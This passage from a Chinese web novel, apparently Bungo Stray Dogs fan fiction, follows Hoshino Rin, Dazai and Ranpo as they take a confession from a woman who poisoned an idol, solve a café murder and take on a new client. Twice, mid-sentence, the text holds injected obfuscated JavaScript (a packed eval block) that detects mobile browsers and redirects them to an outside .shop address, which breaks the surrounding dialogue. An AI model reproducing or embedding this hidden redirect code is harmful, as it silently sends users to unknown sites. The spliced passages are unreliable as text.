小林未央闻了一下:“浓吗?我觉得还好,品牌方送来的样品,不用白不用。开这个车是因为我别的车送去做保养了,只能开保姆车出门了。” “……” 太宰双手交叠枕在脑后,看了一眼星野凛:“我也觉得没那么浓哦,是凛酱的鼻子太敏感才会这样的啦~” 星野凛往鼻子里塞了卫生纸,说话都带着闷闷的鼻音:“谁问你了?你不说话没人把你当成哑巴。” 怎么哪都有他,他是搅屎棍吗?别人说什么都要来搅一下。 星野凛闭上眼睛打算补个觉,却突然间想到,小林未央在牛郎店时形容山本悠真的案件是一场闹剧,她是不是知道更多的内幕? 她这么想着也问出了声:“对了,小林小姐,你之前说期待这场闹剧的结局,是不是早就猜到今天的局面了?” “不是猜,是确定。” 小林未央回忆道:“去年我和山本参加了同一档恋综,稍微了解演艺圈的人都知道,恋综这东西就是给演员增加热度的,是有剧本的,但山本那家伙居然假戏真做了,里面好几场吻戏都是他自己即兴发挥的。” “原本应该翻车的,没想到却收获了一波cp粉,节目结束后他就和女方划清了界限,女方也不是好惹的,直接把孕检报告还有山本的床.照都发了出来,还卖给了媒体,结果被山本的母亲给摆平了,这件事就像是从来都没有发生过一样,在网络上连一点蛛丝马迹都找不到。” “之后,女方就被迫退圈了,而山本还能活跃在大众的视野中,拥有一大群死忠粉,现在落得这么个下场怎么不算是一场闹剧呢?” 星野凛认同道:“确实算得上,很快这场闹剧就要闹得人尽皆知了。” 小林未央的保姆车开得很快,在她们说话的间隙里,不知不觉就来到了立花家。 星野凛率先下车去按门铃,不多时门就开了,开门的是立花雪子。 “是星野小姐啊,请问有什么事吗?” 早知道就提前和立花雪子说明情况了,现在根本不知道怎么开口啊,难道要直接和对方说“喂,你姐姐是犯罪嫌疑人,你最好不要阻拦。” 这样也太失礼了吧,但凡是个正常人都不会这样说。 对了,找个非正常人来开这个口不就行了吗?她可真是个天才。 “不好意思,请稍等一下。” 星野凛说完就折返去找太宰,“你磨磨蹭蹭干什么呢?” 太宰在车上下来,伸了个懒腰:“真是稀奇啊,凛酱不是不想和我说话吗?怎么还主动和我搭话了,让我来猜一下,一定是有什么难题想要我去解决吧?” 星野凛忍住吐槽他的冲动,挤出了一个不太自然的微笑:“我怎么会不想和太宰君说话呢?能和太宰君认识简直是我三生有幸啊,现在确实有一个难题需要太宰君去解决,是只有太宰君才能做到,别人都做不到的哦。” 昧着良心说话真是难受啊,神明大人,请原谅她不得不撒谎的行为,如果说慌有什么报应的话,就让太宰治去死吧。 反正死亡对他来说也是一种奖励。 太宰忍不住轻笑一声:“凛酱果然不适合说谎呢,不就是去向立花小姐说明吗?没什么难的啦,交给我吧~” 星野凛拽着他的衣角往立花家门口走:“那就快点过去吧,别让立花小姐等着急了。” 等星野凛和太宰过去的时候,小林未央已经和立花雪子攀谈上了。 “小林小姐一会可以给我签个名吗?我妈妈很喜欢你的作品。” “当然可以,不过只有妈妈喜欢,雪子酱难道不喜欢吗?” “我、我当然也喜欢小林小姐!!请给我签两份签名照,谢谢!” 星野凛:?…… 小林未央在干什么啊?她难道忘记自己是演员,不是偶像了吗?这到处做饭撒的行为是星中星事务所的独特培训吗? 能不能问点有用的啊…… 太宰极其自然地挤到了小林未央的面前,对立花雪子说:“立花小姐,我们来这里其实是有一件很重要的事要找阳菜小姐来帮忙。” 立花雪子疑惑道:“什么事?姐姐那副样子真的能帮到你们吗?” “想必立花小姐也知道山本的事了吧?我们怀疑阳菜小姐和山本的案件有关,请你配合我们调查。” 太宰那家伙居然没有直白地说,用词还挺委婉的。 立花雪子打开门,蹙眉叹气道:“好吧,我可以配合你们,不过我姐姐真的和山本悠真的事无关的,她一直在忙工作,怎么可能有时间去追星啊。” “谢谢立花小姐的配合。”星野凛走进屋内,发现客厅里关于青木翔太的人形立牌全都收起来了,墙上的海报也只剩下一张了。 见星野凛的视线落在客厅和墙上,立花雪子主动解释道:“翔太君的周边放在客厅太危险了,我怕姐姐做出不理智的举动,所以把周边都放回卧室了。” “原来如此。” 什么不理智的举动,不就是怕姐姐把青木翔太的周边给扔了吗?这论说话的艺术她是还得学啊。 “姐姐在二楼的第一间房,不知道有没有睡觉,你们可以去看看。” “谢谢立花小姐,打扰了。” 星野凛轻手轻脚地爬楼梯,生怕发出什么声响,比起她,太宰和小林未央就没那么拘束,尤其是太宰,他甚至边爬楼梯,边跳舞,嘴里还哼着自编的殉情之歌。 “……” 这家伙也太松弛了吧。 她来到立花阳菜的卧室门口,敲了几下门:“阳菜小姐,我们可以进来吗?” 和她预料的一样,没有反应。 小林未央拧开门把手,直接走了进去:“进来吧,她就算在里面也开不了门。” 星野凛走进卧室,里面的装潢很简单,整体偏冷色调。 立花阳菜坐在卧室阳台的吊椅上,脚尖轻点地面,来回晃动。 小林未央走到立花阳菜的面前,打了个响指:“阳菜小姐,你能听见我说话吗?” 立花阳菜听到声音,没什么情绪地抬头瞥了一眼小林未央后又垂下了头。 星野凛伸手在立花阳菜的面前挥了挥:“小林小姐,她这种情况该怎么办?” “问题不大,如果是那种对外界的声音没反应的话就有点难办了,毕竟我只在大学学了心理,平时又不从事相关的职业,真遇到难题也只能去求助正儿八经的心理医生了。” “小林小姐打算用什么方法?” “就是正常的方法啊,我又不是专业的。” “……” 不要说废话好吗? “话说小林小姐明明是童星出道,为什么会去学心理专业?” 小林未央撩了撩额边的刘海,理直气壮道:“当然是因为心理专业听起来比较高大尚啊。” “??……” 是她没想到的角度,原来是为了向同行装X啊。 星野凛退到太宰的旁边,给小林未央腾出空间,只见小林未央半蹲在立花阳菜的面前,耐心道:“阳菜酱,你现在一定很无助吧?不用担心,你现在不是一个人了,我们都会站在你这边的。” 好耐心啊,这哪是心理咨询师,明明是幼师才对吧。 立花阳菜死寂的眸子燃起了一丝光亮,但很快又熄灭了。 小林未央继续道:“人呢,活在这个世界上,总要给自己找个精神寄托,但同时也要明白,把自己的希望全都寄托在一个人身上是不可取的,特别是寄托在男人身上,这是极其不理智的做法。” “都说距离产生美,追星更是,尤其是山本这种道德低下,人品差劲的人,滤镜破碎很正常,阳菜酱不要太伤心了,现在山本已经躺在太平间了,你只需要告诉我们,你和山本之间的关系就好。” 小林未央怎么越说越委婉了,立花阳菜根本就不像是那种说几句无关痛痒的话就能被触动的人好吧? 有时候适当的刺激,反而能逼出真相。 星野凛拿出提前在口袋里装的山本悠真的照片,走到立花阳菜的面前,把照片撕碎:“这种行为你私底下应该做过无数次了吧?” 立花阳菜紧紧盯着碎掉的照片。 “山本死了你应该高兴才对,为什么要把自己折磨成这样?我要是你,我就立马离开横滨,然后在陌生的城市里开party庆祝这个人渣终于死了,而不是像你这样自暴自弃,等着人来抓。” 小林未央忍不住回头看她,无声地用口型说话:“你、在、说、些、什、么、啊?” 太宰扯了扯她的衣角,语气故作欢快道:“哎呀,今天天气真好啊,凛酱一会陪我去买蟹肉罐头和绷带吧?” 星野凛这才反应过来,下意识捂住嘴,糟糕,一时没忍住,说了那么多过分的话,立花阳菜不会受不了做出什么过激行为吧? 出乎预料地,立花阳菜没做出什么过激行为,她抬头看向星野凛,原本死寂的眸子因为泪水显露出几分光亮。 立花阳菜哭了,星野凛意识到这一点,着急忙慌地把纸巾递给她:“你别哭啊,我给你道歉还不行吗?” 啧,早知道就不说那么过分了。 太宰像是发现了什么新奇事物:“诶——没想到凛酱居然怕别人哭啊。” “我才没有呢!你能不能安静一会。” 星野凛见立花阳菜越哭越凶,手足无措地把纸巾都递给她:“求求你了,别哭了好吗?对不起,我不该那么说你,以后我会谨言慎行的。” 见立花阳菜还在哭,星野凛都想效仿太宰,一口气跳进河里算了。 “谢谢你,我哭是因为你在关心我,我忍不住才哭的。” 立花阳菜略带沙哑的声音在星野凛的耳边响起。 星野凛瞪大眼睛,怀疑自己的耳朵听错了:“谁在说话,太宰是不是你在捉弄我?我怎么听到除了我们之外的第四个人说话了。” 太宰双手环胸,表情无奈道:“凛酱没有听错哦,是阳菜小姐在说话,我才没有捉弄凛酱呢。” ?!!没有听错?不是吧,看起来像是得了精神病和自闭症的立花阳菜竟然开口说话了,这简直是医学奇迹啊! 回想起刚才立花阳菜的话,星野凛反驳道:“我才没有关心你呢。” “凛酱真是不坦率呢~” “你给我闭嘴!” 一天天的,就知道添乱。 “诶——” 小林未央从地上起来:“蹲了这么半天,真是累死我了,你们有什么话赶紧问吧,我还得回去休息呢。” 星野凛拿出事先准备好的录音笔,“阳菜小姐,想必你也知道我们是为了山本悠真的案子来的,你开口说话了,是不是代表着愿意把真相告诉我们了?” 立花阳菜点点头:“真是太失礼了,我做了那样的事,以为没有人会站在我这边为我说话,我每天都活在痛苦与煎熬之中,不想和人交流,也不想活着……” 星野凛连忙打断她的话:“停——不想和人交流就够了,千万不要有自杀的念头,不然就会变得和太宰一样神经的。” 太宰茫然道:“和我有什么关系嘛,我可是侦探社的优秀代表,凛酱就没必要拖我下水了吧。” “哦,原来侦探社的优秀代表就是每天摸鱼,想着怎么自杀吗?” “好过分!!——” 立花阳菜喃喃道:“你们感情真好。” 星野凛:“ ?我们感情一点都不好!谁和他感情好啊,和他这种人认识真是倒了八辈子霉。” 太宰饶有兴趣地看着她:“啊嘞?凛酱刚才还说和我认识是三生有幸呢,真是一点不诚实,说搭档坏话什么的,凛酱还真是擅长啊~” “你少阴阳怪气,这种时候不应该闭上嘴当哑巴吗?结果你倒好,还非要说出来,到底是谁擅长说搭档的坏话,想必大家都看得很清楚了。” 星野凛按下录音笔的开关,开始录音:“阳菜小姐,你能告诉我们,你和山本悠真是什么关系吗?以及你们是在哪里认识的?” 立花阳菜直视星野凛:“山本悠真是我杀死的,是我用酒精和砷化合物杀死的。” 怎么一上来就开大啊,不说点别的什么铺垫一下吗? 不等星野凛询问,立花阳菜率先开口了:“我一开始也只是个按部就班的人,第一次知道山本悠真是因为雪子,那时候她是山本悠真的粉丝,每天都在家里看他的物料,卧室里更是摆满了他的周边和照片,久而久之,我也不自觉地开始关注起了他。” “直到有天,雪子哭着对我说再也不喜欢山本悠真了,还把山本悠真出轨睡粉的证据给我看。” 立花阳菜自嘲地笑了:“我当时也是傻,根本不相信这所谓的证据,还是在心里默默地喜欢他。忘记说了,雪子根本不知道我喜欢山本悠真,也不知道我和他的事,我藏的很好,从来都没有被她发现过。” “和山本悠真真正有接触,是在去年的一次粉丝见面会,那是我第一次见到山本悠真,他和我想象得一样,温柔又细心,在我快要离开的时候,他偷偷往我手里塞了一个纸条,我走到人少的地方才敢把纸条打开,上面写着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066599|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的联系方式,还有今晚约我出去的话。” 星野凛忍不住问道:“然后你就和他出去了?” “对,我高兴得快要疯了,当天晚上就和山本悠真去了酒店,第二天醒来后,我追问他以后该怎么办?他说不用担心,他会负责的,也就是从那天起,我和山本悠真之间开始有了联络,我以为自己对他来说是特殊的,可没想到换来的却是出轨外加冷暴力。” “我精神状态一直不太好,也因为山本悠真吃过无数次治疗抑郁的药,我开始变得不像自己,我会因为他随口说过的玩笑话而患得患失,会因为他的冷漠和背叛痛苦不已。” 立花阳菜说完这些,泪水才开始决堤,星野凛递给她几张纸巾:“缓一缓吧,你现在情绪太激动了。” “谢谢你,但我不需要缓,好不容易能把这些深埋在心底的秘密说出来,我巴不得马上解脱。” “真正让我对他感到失望的是在半个月前,那天正好是他的粉丝见面会,我借口说自己要出去旅游,其实是去了他的粉丝见面会,在去之前我收到了一段视频,是山本悠真和别的女人在一起的视频,画面污秽不堪,我刚点进去两秒就删除了,他发完视频还不够,还要发语音来羞辱我,直到那一刻,我才终于看清了这个男人的真面目。” “昔日美好的过往浮现在我脑海里,一幕幕,就如同脆弱美丽的琉璃,一碰全碎了。” 星野凛:“也就是说你根本就不是蓄谋已久,而是忍受不了才动手的,那你是怎么那么快就拿到砷化合物的?” “我从小到大就对化学特别感兴趣,家里的地下车库也被我改造成了实验室,里面都是我花高价购买的有毒化学物质,想要拿到砷化合物是很简单的。” “……” 失算了,算来算去都没算到钞能力。 “没事,阳菜小姐继续吧。” 立花阳菜继续道:“我无法接受滤镜碎掉后的山本悠真,我气上心头,拿着高浓度酒精和砷化合物去他家,他看起来是刚运动完,正好在睡觉,我先把酒精灌到他的嘴里,因为他酒精过敏,虽然不严重,但也有足够的时间,让我把砷化合物连同酒精一起灌下去了。” “不到半个小时他就没了呼吸,我大脑一片空白,根本没有杀人的喜悦,只有无尽的懊悔,我完全没想过事情败露后该怎么办,只好制造别的伤口,转移注意力,加上山本悠真的偶像身份,尸体肯定不会那么快就解剖的。山本悠真是租的公寓,里面除了床,连个刀都没有,我计上心头,只好把脖子上的珍珠项链拿下来,用力勒住了他的脖子。” “结果没控制好力道,珍珠项链突然断了,而山本悠真这时候竟然回光返照般地睁开了眼,我吓得跌坐在地,他挣扎了一会就彻底断气了,我把地上掉落的珍珠,连同断掉的半个完好的珍珠项链一起扔进了马桶里。” “珍珠是圣洁的,干净的,不应该沾染上那样的污秽。” 果然,和她想的没错,珍珠项链真的在山本悠真家就被销毁了。 “之后我把山本悠真装进麻袋里,运回了我的地下实验室,我还特地买了个浴缸,把他泡进了福尔马林里。” 星野凛按照她的话,猜测道:“但是你受不了这种提心吊胆的生活,把山本悠真的尸体送回了他家,期待有人发现他的尸体,同时又抗拒他的尸体被人发现,加上你的精神状态一直不好,也没人调查到你身上,你在这种极端反复的情绪中崩溃了,并且开始逃避和山本悠真有关的一切,直到我们过来,阳菜小姐,我说得对吗?” 立花阳菜失神地看着星野凛:“全都猜对了……你真的好厉害。” 星野凛第一次听到有人夸赞她的办案能力,忍不住得意道:“我可是横滨第一名侦探,这些都不算什么啦。” 太宰戳了戳她翘起来的呆毛:“诶——如果凛酱是第一的话,那乱步先生排第几?” “你要是敢和乱步先生讲,我就和国木田君说你前几天翘班了,根本没有在认真工作。” “不要啊——” “不过比起这些,我更好奇的是你怎么猜到是我的?” “全靠山本悠真的前队友,青木翔太了,如果没有他,我就不会认识立花小姐,更不会见到阳菜小姐你。” “还有警察署的法医发现了山本悠真藏在口袋里的珍珠,我在见到阳菜小姐的那天就把你和山本悠真口袋里的珍珠给联系起来了。” 山本悠真口袋里的珍珠应该就是立花阳菜说的突然回光返照,装进口袋里的,立花阳菜把地面上的珍珠清理干净,却忽略了山本悠真的举动,于是就留下了证据。 小林未央不满道:"喂,明明还有我的功劳好吧?怎么全成青木的功劳了?" 星野凛投降道:“好好好,还有小林小姐的帮忙,没有小林小姐我们也不会认识青木翔太。” 一环套一环,人与人之间的关系就像个莫比乌斯环一样,无论从哪开始,首尾总能连接上,当然了,还是得建立在彼此之间有渊源的前提上。 立花阳菜释怀道:“我无话可说了,雪子那边也麻烦你们帮忙解释一下吧。” “我们会转告她的。” 星野凛掏出手机联络村上警官:“可以出来了,阳菜小姐认罪了。” 在来立花家之前她就和村上警官制定好计划了,她和太宰还有小林未央在明,村上警官在暗,这样也方便应对突发状况。 * 星野凛把后续工作都交给了村上警官处理,包括那支记录了立花阳菜和山本悠真爱恨情仇的录音笔。 立花雪子担心姐姐,跟着去了警察署。 就在刚刚小林未央也乘坐保姆车走了。 现在,空荡荡的街道上只剩下了她和太宰。 星野凛抬头望天:“早知道就让小林未央捎我一程了,这样就不用和你这个家伙一起回侦探社了。” 太宰看到夕阳撒下的余晖照到她蓝色的发梢上,嘴角微翘,溢出丝丝笑意:“可是凛酱,你就算和小林小姐回去,还是能每天都见到我啊,除非凛酱离开侦探社,这样就不会见到我啦。” “哈?我凭什么离开?要离开也是你离开!” 太宰见激将法有用,笑意更甚:“凛酱还是死心吧,我是不会离开侦探社的哦~” 星野凛加快脚步不理太宰。 要问为什么不打车非要步行走,是因为她没钱,太宰那家伙也没带,最重要的一点是她今天答应了乱步先生要给他带这条商业街最有名的甜品。 早知道就不答应了,这样就可以坐小林未央的车离开了。 而且这家甜品店还是限量的,去晚了就没有了。 星野凛看着不远处的甜品店,认命地往前走,却看见了一个不该出现在这里的人。 她忍不住惊呼出声:“乱步先生,你怎么会在这里?” 26.第 26 章 江户川乱步茫然地四处张望,听到熟悉的声音后,才寻着声音看到对方:“这不是凛酱吗?哦,还有太宰。” “你们来得正是时候,我找不到回去的路了。” “……” 星野凛擦了擦额头上的薄汗:“乱步先生你有带钱吗?” “当然——没有了。” 江户川乱步露出鄙夷的神情:“钱财那种庸俗之物实在是太麻烦了,拿着很容易丢的,名侦探的注意力是不可能分给这种东西一眼的。” “?……” 没有钱你买什么甜品啊! 昨天在侦探社的时候,江户川乱步就嚷嚷着说这条商业街有一家很有名的甜品,要她帮忙带,她一穷二白的哪来的钱帮他带啊。 只好开口问他要钱,她到现在都忘不了江户川乱步那副像是见到奇行种的表情,说什么“凛酱真是失礼啊,作为加入侦探社没多久的后辈,帮前辈带甜品还要问前辈要钱”。 真是让人火大,前辈怎么了,是前辈就能无底线地占后辈便宜吗? 因为她实在没钱,他最后向社长要了1000円给了她,嘱托她一定要把甜品带回去,颇有种带不回去就不让她回侦探社的架势。 所以,她身上只有买甜品的钱,并没有多余的钱,刚才问也只是想问问他有没有多余的钱打车。 没想到得到了这个回答。 太宰从后面慢悠悠地走过来:“乱步先生是刚刚解决了案件,迷路了吗?” 江户川乱步反驳道:“名侦探怎么可能会迷路!我只是找不到回去的路了而已。” 星野凛:“……” 找不到路和迷路有什么区别啊喂! “不过前面好像就是那家很有名的甜品店,凛酱不是要给我带甜品吗?快点进去啦。” 星野凛摸着口袋里的钱,顿时觉得有点烫手,无声叹气道:“知道了知道了。” “我刚刚解决了一个超级简单的案件,警察说自己查了三天三夜都查不出来,真是一群笨蛋啊,名侦探不到五分钟就完美地解决了,凛酱可要好好学习探案,不要用那么长时间才发现真相,那样也太浪费时间了。” 每次探案都会超过三天的星野凛:“……” “乱步先生,请不要内涵别人,谢谢。” 江户川乱步丝滑地转移话题:“话说太宰为什么总是和凛酱一起行动,你也太闲了吧,明明社里还有一大堆需要你去解决的难题。” 太宰偷瞄了一眼星野凛,脚步加快,和江步川乱步齐行:“嘛,这也是没办法的事啦。” 具体是什么事,不用太宰说,江户川乱步就凭借出色的大脑知道了。 星野凛走在最前面,看到慢悠悠的两人,只好放慢脚步:“你们能快点吗?照你们这个速度走过去,甜品店都要打烊了。” 只有500米的距离,硬是被这两个人走出了1000米的感觉。 “是凛酱你走得太快了。” “就是就是,我和乱步先生已经很快了,凛酱不要那么严格的说~” “……” 真是的,慢就是慢,找什么借口啊。 星野凛等了一会,看到两人走近才开始往前走,没一会就走到甜品店门口了。 看到店里华丽精致的装潢,星野凛顿觉不妙。 乱步先生对金钱根本没什么概念,1000円在这种店里恐怕只能买到一个蛋挞吧? 看到星野凛迟迟不进去,江户川乱步一脸困惑:“凛酱怎么不进去?不会是在等我和太宰吧?完全不需要等,直接进去就好了。” 谁在等他们啊,看他这样子是真的没有意识到问题的重要性啊。 星野凛把江户川乱步拉到一旁,一脸沧桑道:“乱步先生,告诉你一个不幸的消息,你恐怕买不到限量版甜品了。” “为什么?我昨天不是给你钱了吗?为此社长还勒令我不许多吃,都怪你。” 星野凛:“ ???” 关她什么事,还有,让别人带东西给钱是天经地义的事吧? “乱步先生,我觉得你很有必要去报个情商班,顺便学习一下常识。” 没有情商,没有常识,喔,还没有方向感,社长让这种三无人员一个人出来探案,真的没问题吗? 江户川乱步直接了当地拒绝:“不要!名侦探才不需要学习这些没用的东西呢,名侦探的大脑可是很宝贵的,不能被这些无聊的事物占据大脑。” 算了,星野凛按了按太阳穴,尽力让自己的语气缓和一点:“买不了限量版甜品是因为钱不够啊,你只给了我1000円,这家店一看就不便宜,所以一会只能买别的甜品了。” “诶——怎么会这样。” 太宰见星野凛和江户川乱步在说悄悄话,不等他们就直接进店了。 “欢迎光临——请问需要点什么?” 店员热情地跟在太宰身后。 太宰随便找了个座位坐下,笑着摇摇头:“不需要哦,我随便看看就好。” “还是进去问了价格再决定买什么吧。” 星野凛头痛地看向店里,太宰那家伙居然自己进去了。 江户川乱步打开甜品店的门,走到太宰的身边:“真是不像话啊太宰,自己偷偷进来了,都不等我和凛酱,也太失礼了吧。” “我以为凛酱和乱步先生有重要的事在商量,就没打扰你们,真是抱歉。” “我去问问店员还有没有限量版甜品,你们就先在这里等我吧。” 星野凛说完就去找店员了。 江户川乱步把贝雷帽摘下,翠绿色的眼睛也睁开了:“我之前就和你说过的吧?不要管她身上的事,现在好了,麻烦马上就要找来了。” 太宰双手托腮,轻点下巴:“没关系的乱步先生,我相信凛酱一定会解决麻烦的。” “你对她也太自信了,她身上的事可不是随随便便就能解决的,你不能,她自己更不能,怎么办啊,好麻烦……” 太宰看着正在和店员沟通的星野凛,不自觉地笑出声:“不自信也没办法啊,不管发生什么,只要相信她就好了。” 听到太宰的话,乱步锐利的视线扫过太宰:“你可真是喜欢自找麻烦啊,当初不邀请她加入侦探社,什么事都没有。” “我知道。” 太宰又重复了一遍:“我知道的,乱步先生,所以我会陪她一起解决。” 星野凛询问店员还有没有限量版甜品,得到还有的消息后,才松了一口气。 她想到兜里只有1000円就头痛:“请问限量版甜品需要多少钱?” 店员说:“今天店里有活动,所有甜品一律打七五折。” 她不是有倒霉体质吗?今天怎么这么幸运,还遇上折扣,实在是有点反常啊,能买到就好,不管那么多了。 “请给我来一份限量版甜品,谢谢。” 就算打了折,1000円也只够买一份的,不过能买到就已经很幸运了。 星野凛回到座位上,看到太宰和乱步似乎在说话,“你们两个嘀嘀咕咕说什么呢?” 乱步重新戴上贝雷帽,“当然在说你啊,你都不知道你身上……” “乱步先生,你平时喜欢吃什么口味的蛋糕?” 太宰连忙出声打断他。 “说我干什么?你们也太闲了吧。” “我们没有在说凛酱哦~乱步先生刚刚在开玩笑,是不是啊,乱步先生?” 乱步听到太宰不让他说出去的暗示,趴在桌子上,恹恹道:“你说是就是吧,凛酱,甜品还有多久上啊?我好饿。” 星野凛无奈起身去催:“我帮你去问问吧。” 见星野凛又离开了,太宰微不可查地叹气:“乱步先生,不要和凛酱说这些。” “为什么?让她知道不好吗?我看她自己都很好奇自己身上的事,为什么不能让她知道?” 听乱步问了两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080072|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为什么”,太宰正色道:“就算凛酱再好奇也不能让她知道,乱步先生你忘了吗?凛酱现在失忆了,对自己的过往一无所知,贸然把这些告诉她,她承受不住,反而会适得其反。” “你是在担心凛酱吗?担心她接受不了事实,从而离开侦探社。” 太宰笑着说:“我和凛酱一起搭档这么久了,担心也是很正常的吧~” 乱步拿出玻璃弹珠放在眼前:“可是你接下来的计划会把她推得更远,你想好了吗?” “没有更好的办法了,乱步先生。” 乱步又把玻璃弹珠放在桌子上来回把玩:“记得给我封口费。” 怕太宰不知道去哪家买又补充道:“想让我保守秘密就把侦探社附近那家甜品店的蛋糕买来,名侦探吃了蛋糕才有力气保守秘密。” “没问题哦~” 星野凛询问店员:“那个,请问我的限量版甜品什么时候好?” “请稍等,还有十分钟就好了。” 星野凛得到回答后回到了座位,感觉她才是这家甜品店的店员吧,一直在走来走去。 想到一会还要走着回去,小腿都隐隐作痛。 “啊啊啊——杀人了——” 一道惊恐的尖叫声迅速在店里扩散开,星野凛看到后面的座位上,有一个女生被吓得跌倒在地,而她旁边就是一具男性尸体。 她这是走错片场了吗?怎么一出来就遇到凶杀案。 乱步收起玻璃弹珠,拿着黑框眼镜,走到尸体旁边,开口道:“名侦探该登场了。” 他说完就戴上了黑框眼镜,“异能力——【超推理】” 不知道从哪来的风把乱步的侦探服吹得鼓起来,连她的头发都被吹得微乱。 【超推理】其实是鼓风机吧…… 刚入社没多久的时候,太宰就告诉她乱步先生没有异能的事,不依靠异能,探案全靠自己,这样的人确实称得上一句名侦探。 “原来如此,我知道了,凶手就是——” 警察也在这时赶了过来,有乱步先生在,肯定一会就能解决完,星野凛放心地回到了座位上。 果然,不到二十分钟,乱步就把后续事宜交给了警察。 他问店员:“案件都解决完了,我的限量版甜品怎么还没好?” 店长连忙出来道谢:“原来是大名鼎鼎的乱步先生,真是太感谢了,没有您都不知道什么时候才能营业,限量版甜品想要多少就有多少,全部免费。” “那我就不客气了。” 这样也行?什么时候她也能这么厉害就好了。 店长为了感谢乱步先生,还派司机把他们送回了侦探社。 * 星野凛在侦探社门口,看着手上的甜品陷入了沉默:“……” 乱步先生自己拿不下还要她帮忙拿,害得她都没有手开门了。 太宰和乱步先生的手上也都是甜品,她又不想把甜品放到地上又拿起来,这种时候只有一个办法了。 星野凛清了清嗓子,大声喊道:“敦君——快点过来帮我开门——” “请稍等一下—— 太宰把甜品放在地上,把门打开,和迎面过来的中岛敦打了个照面,“太宰先生?星野小姐,还有乱步先生,你们怎么会一起回来?” “凛酱把甜品放到地上就能开门啦,喊敦君过来也太麻烦了吧。” 星野凛:“你懂什么,放到地上又拿起来更麻烦啊,喊敦君过来还可以帮我拿。” “敦君帮我拿一下。” 乱步把一部分甜品也给了中岛敦:“敦君,还有我的。” 中岛敦怔愣接过:“星野小姐,侦探社现在有一件紧急委托需要人去处理,我还要和国木田先生去完成另一个委托,能不能麻烦你来完成这个委托?” 紧急委托?怎么刚回侦探社就遇到紧急委托啊,也太倒霉了吧…… 27.第 27 章 星野凛把甜品放到乱步的工位上,左顾右盼半天都没看见委托人,她忍不住问中岛敦:“敦君,委托人呢?不是紧急委托吗?人去哪里了?” 说好的紧急委托呢,结果人却不在侦探社,这和报假警有什么区别啊。 中岛敦刚把甜品放下,擦了擦额头上并不存在的汗,呼出一口气,解释道:“委托人木村先生回家给女朋友做晚饭了,一会就回来,请星野小姐稍等一下吧。” 晚饭?星野凛看了一眼窗外静谧的夜色,从立花家到甜品店,再回到侦探社已经是晚上了啊,她都没注意到时间的流逝。 她还没吃晚饭呢,摸了摸空荡荡的肚子,命真苦啊,忙得连饭都吃不上。 “好吧。” 星野凛坐到自己的工位上,问中岛敦:“敦君,你吃饭了吗?” “我已经吃过了,星野小姐难道没有吃吗?” “当然没有。” 她像一朵枯萎的花骨朵,蔫耷耷地趴在办公桌上。 “不吃饭怎么能行呢?星野小姐想吃什么?我出去帮你买。” “敦君,不用麻烦了,我等委托人来了再吃吧。” “那怎么行,我很快就回来了。” 中岛敦走到门口,刚要伸手去碰门把手,就被从外面推门而入的太宰撞到了胳膊。 “我回来了——”太宰明快的声音响起。 中岛敦捂着胳膊,看向来人:“嘶……好痛,太宰先生,你去哪里了?” “啊,抱歉,敦君,没想到不小心误伤了。” 星野凛掀起眼皮,看着门口的太宰,没一会又收回了视线。 这家伙放下甜品就急匆匆出去了,到现在才回来,也不知道去哪条河入水了。 乱步先生居然没和他一起回来,真不让人省心啊。 “敦君吃饭了吗?没吃的话,我这里有新鲜出炉的饭团哦~” “谢谢太宰先生,我已经吃过了。不过星野小姐还没吃,我正准备出去给她买,没想到太宰先生突然回来了。” “既然敦君吃过了,那就给凛酱吃吧。” 中岛敦:“……” 一开始就没打算给他吃吧? 太宰略过中岛敦走到星野凛的面前,“凛酱,我买了饭团你要吃吗?” 星野凛饿得饥肠辘辘,艰难地伸出手:“我要吃,快点拿给我。” 太宰笑了一声把饭团递给她,“凛酱慢点吃,还有很多呢。” 星野凛什么都听不见,眼中只有饭团,她撕开包装,大快朵颐起来。 中岛敦见星野凛有了食物,就回到工位上了:“太宰先生,你知道乱步先生去哪里了吗?” “我怎么会知道乱步先生去哪里了,说不定回去睡觉了呢,敦君不必担心哦。” “可是太宰先生是和乱步先生一起出去的吧?” “是这样没错,但我们的方向是不同的,我去了东边,乱步先生去了西边,而西边刚好有家新开的零食店,乱步先生肯定去买零食了。” “这样吗……” 星野凛咽下了最后一口饭团,有点噎,她正想找水,太宰抢先递给了她:“凛酱喝点水吧,喝点水就不噎了。” “谢谢啊。”星野凛接过水,喝了好几口后才好点。 不对,太宰什么时候这么贴心了?还特意出去给她买食物,吃人嘴短,这背后一定有阴谋诡计在等着她。 “说吧,你这么殷勤想让我帮你什么忙?” 太宰闻言露出一副受伤的表情:“诶?凛酱怎么能这么想我呢?真是让人伤心啊,什么忙都不需要帮哦~” 星野凛:“我知道了,你能不能别装了。” “好哦~” 这时,有人在外敲门,敲了两下见没人开门,就自己进来了。 “我是委托人木村,实在抱歉,让你们久等了。” 一道略带疲惫的声音突兀响起。 来人是一个身穿西装,长相清隽的男人。 星野凛询问道:“没关系,请问木村先生遇到什么麻烦了?” 最好有大事,不然这么晚了还因为几件小事加班,她真的会崩溃的。 木村一郎像是抓到救命稻草一样抓住星野凛的胳膊:“请你们救救我女朋友吧!” 星野凛把木村一郎的手拿开:“有话好好说,不要这么激动。” 一点分寸感都没有。 中岛敦帮木村一郎接了一杯水:“木村先生,喝点水吧,慢慢说。” 